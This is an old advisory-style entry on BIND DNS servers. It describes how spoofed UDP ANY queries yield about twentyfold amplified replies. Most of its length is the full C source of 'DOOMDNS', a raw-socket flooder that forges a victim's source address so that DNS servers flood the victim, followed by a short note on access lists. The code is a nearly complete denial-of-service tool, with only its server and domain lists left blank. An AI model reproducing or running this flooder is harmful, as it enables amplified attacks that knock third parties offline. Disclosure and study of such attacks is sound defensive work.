COMMAND

    BIND

SYSTEMS AFFECTED

    All systems running Bind (All versions seems affected)

PROBLEM

    Following is  based on  Digital Security  for Y2K  Advisory.  This
    misfeature  was  discovered  configuring  bind  on  a  Red Hat 5.2
    system shipped with the original cdrom, allowing udp dns  requests
    and without  access lists.   All domain  name systems  resides  on
    port 53 formely called domain. Looking at rfc and in particular at
    RedHat system defaults  seems that port  53 is enabled  to support
    udp and tcp requests as specified in /etc/services file:

	domain          53/tcp
	domain          53/udp

    It's possible to  flood someone sending  spoofed UDP QUERY  to the
    DNS,  because  UDP  doesn't  provide  a  fruitful   authentication
    process.  Why use DNS QUERY?   Simple.  We just want to make  sure
    we've got a real advantage against our nice target so we look  for
    a good I/O ratio.   With just a few  bytes (20-30) we can  achieve
    responses of  around 400-500  bytes. So  we usually  achieve a 20x
    ratio.   Furthemore,  every  DNS  reply  will  eligit ICMP unreach
    packets from the target since no  UDP port will be open to  accept
    data.  A modem user compared  with large RR of type *  (0xFF) will
    be flooded.  Exploit code follows:

    /******************************************************************
    *                                                                 *
    * DOOMDNS   Yet another flooder with 1:x pkts ratio. This one     *
    *           exploits DNS simple QUERY with spoofed UDPs.          *
    *           Since almost every DNS is bound to answer queries     *
    *           from the void, and since UDP doesn't provide a        *
    *           fruitful authentication process cause plain TCP       *
    *           does, uh !? ;) here we are.                           *
    *                                                                 *
    *                          hints by |scacco|, code by FuSyS       *
    *                          http://www.s0ftpj.org                  *
    *                                                                 *
    ******************************************************************/
    
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <netdb.h>
    #include <time.h>
    
    #define IP_HEAD_BASE                20
    #define UDP_HEAD_BASE               8
    
    unsigned long saddr;
    int sfd, loop;
    char *dns_def[]={/* LISTA ASSENTE */ ,NULL};
    char *domains[]={/* LISTA ASSENTE */ ,NULL};
    
    struct DNS_MSG {
	    HEADER head;
	    char query[255];
    };
    
    struct dns_pkt {
	    struct iphdr ip;
	    struct udphdr udp;
	    char data[1000];
    };
    
    unsigned long nameResolve(char *hostname)
    {
      struct in_addr addr;
      struct hostent *hostEnt;
    
      if((addr.s_addr=inet_addr(hostname)) == -1)
      {
	if(!(hostEnt=gethostbyname(hostname)))
	{
	    fprintf(stderr,"N0 SUCH H0ST:`%s`\n",hostname);
	    exit(0);
	}
	bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
      }
      return addr.s_addr;
    }
    
    void forge (unsigned long daddr, unsigned short src, unsigned short dst)
    {
	    struct sockaddr_in sin;
	    struct dns_pkt dpk;
	    struct DNS_MSG killer;
	    int shoot, len;
    
	    memset(&killer, 0, sizeof(killer));
	    killer.head.id=getpid();
	    killer.head.rd=1;
	    killer.head.aa=0;
	    killer.head.opcode=QUERY;
	    killer.head.qr=0;
	    killer.head.qdcount=htons(1);
	    killer.head.ancount=htons(0);
	    killer.head.nscount=htons(0);
	    killer.head.arcount=htons(0);
	    strcat(killer.query, domains[--loop]);
	    killer.query[strlen(domains[loop])+2]=0x00FF;
	    killer.query[strlen(domains[loop])+4]=0x0001;
    
	    memset(&dpk, 0, sizeof(dpk));
    
	    dpk.udp.source=src;
	    dpk.udp.dest=dst;
	    len=(12+strlen(killer.query)+5);
	    dpk.udp.len=htons(UDP_HEAD_BASE+len);
	    memcpy(dpk.data, (void*)&killer, len);
    
	    dpk.ip.ihl=5;
	    dpk.ip.version=4;
	    dpk.ip.tos=0;
	    dpk.ip.tot_len=htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
	    dpk.ip.frag_off=0;
	    dpk.ip.ttl=64;
	    dpk.ip.protocol=IPPROTO_UDP;
	    dpk.ip.saddr=saddr;
	    dpk.ip.daddr=daddr;
    
	    memset(&sin, 0, sizeof(sin));
	    sin.sin_family=AF_INET;
	    sin.sin_port=dst;
	    sin.sin_addr.s_addr=daddr;
    
	    shoot=sendto(sfd, &dpk,IP_HEAD_BASE+UDP_HEAD_BASE+len,
		    0, (struct sockaddr *)&sin, sizeof(sin));
	    if(shoot<0)fprintf(stderr, "SPOOF ERROR");
	    loop++;
    }
    
    void doomzone (void)
    {
	    unsigned long daddr;
	    unsigned short source, dest;
    
	    if(dns_def[loop]==NULL) loop=0;
	    daddr=nameResolve(dns_def[loop++]);
	    source=htons(1024+(rand()%2000));
	    dest=htons(53);
	    forge(daddr, source, dest);
    }
    
    int main (int argc, char **argv)
    {
	    int sfdo;
	    unsigned int hz=100;
    
	    if(argc<2) {
		    fprintf(stderr, "Interesting .... let's flood ourselves ?!\n");
		    fprintf(stderr, "Use: %s target [n]\n", argv[0]);
		    exit(0);
	    }
    
	    if(argv[2]) hz=atoi(argv[2]);
	    saddr=nameResolve(argv[1]);
    
	    srand(time(NULL));
    
	    if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
		    fprintf(stderr, "\nSOCK_RAW Died\n");
		    exit(2);
	    }
	    sfdo=1;
	    if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo, sizeof(sfdo))<0) {
		    fprintf(stderr, "\nIP_HDRINCL Died\n");
		    exit(3);
	    }
    
	    printf("\n\033[1;32mD00M DNS\033[0m");
	    printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m");
	    printf("\n\033[1;34minithints by |scacco|\033[0m\n\n");
    
	    loop=0;
	    while(hz--) {
		    doomzone();
		    printf("\033[1;34m.\033[0m");
	    }
	    printf("\n\n");
	    return(0);
    }

SOLUTION

    Seems hard to fix this hole due to dns protocol specification,  it
    could be  possible to  setup access  lists or  some sort of packet
    sanity check,  for this  we want  suggest you  to keep  in contact
    with ISC staff to get a more efficent solution for this problem.